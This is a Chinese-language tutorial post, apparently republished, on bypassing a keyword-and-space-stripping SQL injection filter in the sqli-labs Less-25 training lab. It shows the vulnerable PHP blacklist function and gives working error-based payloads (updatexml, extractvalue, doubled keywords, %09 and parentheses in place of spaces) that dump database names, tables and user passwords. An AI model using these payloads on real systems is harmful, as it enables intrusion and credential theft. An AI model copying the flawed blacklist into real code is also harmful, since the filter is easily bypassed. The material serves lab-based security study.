SQL注入 空格转换为空绕过
Posted 山川绿水
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入 空格转换为空绕过相关的知识,希望对你有一定的参考价值。
SQL注入 空格转换为空绕过
一、基础知识
1.preg_replace函数
preg_replace(mixed $pattern,mixed $replacement,mixed $subject):执行一个正则表达式的搜索和替换。
$pattern:要搜索的模式,可以是字符串或一个字符串数组
$replacement:用于替换的字符串或字符串组。
$subject:要搜索替换的目标字符串或字符串数组
function blacklist($id)
$id= preg_replace('/or/i',"", $id); //or替换为空
$id= preg_replace('/and/i',"", $id); //and替换为空
$id= preg_replace('/[\\/\\*]/',"", $id); //(/*)替换为空
$id= preg_replace('/[--]/',"", $id); //(--)替换为空
$id= preg_replace('/[#]/',"", $id); //(#)替换为空
$id= preg_replace('/[\\s]/',"", $id); //替换空格
$id= preg_replace('/[\\/\\\\\\\\]/',"", $id); //替换反斜杠
return $id;
2.编码方式
编码:hex
,urlencode
空格URL
编码%0a
%09
TAB键(水平)
%0a
新建一行
%0c
新的一页
%0d
return功能
%0b
TAB键(垂直)
二、实战渗透
1.以sqli-labs-less25为例,经过前面的解读,我们已经知道过滤了空格
,and
,or
,/*
,#
,--
,\\
使用%09进行空格绕过
1'%09||'1
2.万能模板注入
?id=1' or '1'='1
1.方法一(updatexml报错注入)
1.使用||
绕过空格,爆库
1'||updatexml(1,concat(0x7e,database(),0x7e),1)||'1'='1
2.爆破数据表
?id=1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema = 0x7365637572697479))),1)||'1'='1
3.爆破字段名
?id=1'||updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name = 0x7573657273))),1)||'1'='1
4.爆破字段内容
1'||updatexml(1,concat(0x7e,(select (group_concat(id,username,passwoorrd)) from (security.users))),1)||'1'='1
2.方法二(extractvalue报错注入)
1.爆破数据库
使用双写绕过or
,and
;
使用括号绕过空格
?id=1'oorr(extractvalue(1,concat(0x7e,(select(database())),0x7e)))anandd '1'='1
2.爆破数据表
?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where (table_schema=database())),0x7e)))anandd '1'='1
3.爆破字段名
?id=1'oorr(extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where (table_schema='security')anandd(table_name='users')),0x7e)))anandd '1'='1
4.爆破字段内容
?id=1'oorr(extractvalue(1,concat(0x7e,(select (group_concat(id,username,passwoorrd))from(users)),0x7e)))anandd '1'='1
至此,成功获取用户名和密码。
以上是关于SQL注入 空格转换为空绕过的主要内容,如果未能解决你的问题,请参考以下文章